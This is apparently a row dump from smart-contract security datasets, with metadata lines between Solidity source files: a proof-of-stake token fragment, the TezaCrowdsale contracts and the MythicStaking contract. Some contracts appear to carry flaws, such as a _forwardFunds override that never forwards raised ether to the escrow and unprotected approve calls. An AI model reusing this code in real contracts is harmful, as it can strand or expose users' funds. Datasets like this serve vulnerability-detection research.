// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
interest = (435 * maxMintProofOfStake).div(100);
}
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require((now >= stakeStartTime) && (stakeStartTime > 0));
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
// Due to the high interest rate for the first two years, compounding should be taken into account.
if((_now.sub(stakeStartTime)).div(1 years) == 0) {
interest = (770 * maxMintProofOfStake).div(100);
} else if((_now.sub(stakeStartTime)).div(1 years) == 1){
// 2nd year effective annual interest rate is 50%
interest = (435 * maxMintProofOfStake).div(100);
}
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if(_now < uint(transferIns[_address][i].time).add(stakeMinAge)) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if(nCoinSeconds > stakeMaxAge) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require(_recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now));
Transfer(msg.sender, _recipients[j], _values[j]);
}
balances[msg.sender] = balances[msg.sender].sub(total);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
return true;
}
}
| 200,959 | 10,840 |
aedb9871a63bafd659b74c2695dcda06f96d281f545aaf748d6851ca906c865b
| 30,325 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x62aeabf864e320eac39e1c8a302fc13a6204212e.sol
| 4,709 | 16,721 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token,
address from,
address to,
uint256 value)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender,
_beneficiary,
weiAmount,
tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary,
uint256 _tokenAmount)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary,
uint256 _weiAmount)
internal
{
// optional override
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {}
}
contract Escrow is Ownable {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function deposit(address _payee) public onlyOwner payable {
uint256 amount = msg.value;
deposits[_payee] = deposits[_payee].add(amount);
emit Deposited(_payee, amount);
}
function withdraw(address _payee) public onlyOwner {
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
// minimum amount of funds to be raised in weis
uint256 public goal;
// refund escrow used to hold funds while crowdsale is running
RefundEscrow private escrow;
constructor(uint256 _goal) public {
require(_goal > 0);
escrow = new RefundEscrow(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
escrow.withdraw(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
escrow.close();
escrow.beneficiaryWithdraw();
} else {
escrow.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
escrow.deposit.value(msg.value)(msg.sender);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(address _beneficiary,
uint256 _tokenAmount)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
// XXX There doesn't seem to be a way to split this line that keeps solium
// happy. See:
// https://github.com/duaraghav8/Solium/issues/205
// --elopio - 2018-05-10
// solium-disable-next-line max-len
contract TezaCrowdsale is CappedCrowdsale, RefundableCrowdsale, AllowanceCrowdsale {
//mapping (address => uint256) internal referrers
mapping (address => uint256) public referrers;
uint internal constant REFERRER_PERCENT = 10;
modifier whenNotPaused() {
require((block.timestamp >= openingTime && block.timestamp <= openingTime + (40 days)) || (block.timestamp >= openingTime + (80 days) && block.timestamp < closingTime));
_;
}
constructor(uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
address _wallet,
uint256 _cap,
StandardBurnableToken _token,
uint256 _goal)
public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
TimedCrowdsale(_openingTime, _closingTime)
RefundableCrowdsale(_goal)
AllowanceCrowdsale(_wallet)
{
//As goal needs to be met for a successful crowdsale
//the value needs to less or equal than a cap which is limit for accepted funds
require(_goal <= _cap);
require(_rate > 0);
}
function bytesToAddres(bytes source) internal pure returns(address) {
uint result;
uint mul = 1;
for(uint i = 20; i > 0; i--) {
result += uint8(source[i-1])*mul;
mul = mul*256;
}
return address(result);
}
function _preValidatePurchase(address _beneficiary,
uint256 _weiAmount)
internal
whenNotPaused
{
super._preValidatePurchase(_beneficiary, _weiAmount);
if(block.timestamp <= openingTime + (18 days)) {
rate = 2000;
}else if(block.timestamp > openingTime + (18 days) && block.timestamp <= openingTime + (37 days)) {
rate = weiRaised <= 4000000000000000000000000 ? 1428 : 1250;
}else if(block.timestamp >= openingTime + (77 days) && block.timestamp <= openingTime + (108 days)) {
rate = weiRaised >= 50000000000000000000000000 ? 1000 : 1111;
}else{
rate = 2000;
}
}
function referrerBonus(address _referrer) public view returns (uint256) {
require(goalReached());
return referrers[_referrer];
}
function _forwardFunds() internal
{
// referer bonus
if(msg.data.length == 20) {
address referrerAddress = bytesToAddres(bytes(msg.data));
require(referrerAddress != address(token) && referrerAddress != msg.sender);
uint256 referrerAmount = msg.value.mul(REFERRER_PERCENT).div(100);
referrers[referrerAddress] = referrers[referrerAddress].add(referrerAmount);
}
}
}
| 182,245 | 10,841 |
44082b5886ce0fab407da9eb5ad84a665860ad37f81e01fcb333c87e4f081433
| 28,610 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c7/c71a68e2c053b3167196163d0da79f4a88de5904_MythicStaking.sol
| 4,485 | 17,819 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract MythicStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable MYTC;
address public immutable sMYTC;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public treasury;
address public warmupContract;
uint public warmupPeriod;
mapping (address => uint) public depositEpoch;
uint public taxedPeriod;
uint public taxedPeriodFees;
constructor (address _MYTC,
address _sMYTC,
address _treasury,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_MYTC != address(0));
MYTC = _MYTC;
require(_sMYTC != address(0));
sMYTC = _sMYTC;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
require(_treasury != address(0));
treasury = _treasury;
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(MYTC).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(sMYTC).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
depositEpoch[msg.sender] = epoch.number;
IERC20(sMYTC).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if ((epoch.number >= info.expiry && info.expiry != 0) || (msg.sender == treasury)) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(sMYTC).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(sMYTC).balanceForGons(info.gons));
IERC20(MYTC).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sMYTC).safeTransferFrom(msg.sender, address(this), _amount);
if ((depositEpoch[msg.sender].add(taxedPeriod) > epoch.number) && (msg.sender != treasury)) {
uint fees = _amount.mul(taxedPeriodFees).div(10000);
IERC20(MYTC).safeTransfer(msg.sender, _amount.sub(fees));
IERC20(MYTC).burn(fees);
} else {
IERC20(MYTC).safeTransfer(msg.sender, _amount);
}
}
function index() public view returns (uint) {
return IMemo(sMYTC).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(sMYTC).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(sMYTC).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(MYTC).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sMYTC).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sMYTC).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
function setTaxedPeriod(uint _taxedPeriod) external onlyManager() {
taxedPeriod = _taxedPeriod;
}
function setTaxedPeriodFees(uint _fees) external onlyManager() {
require(_fees <= 5000);
taxedPeriodFees = _fees;
}
}
| 96,530 | 10,842 |
78372fa7a09fa68325eb8e3540e3cee0cb84a74bc59913620391a27150c9cb32
| 18,639 |
.sol
|
Solidity
| false |
416581097
|
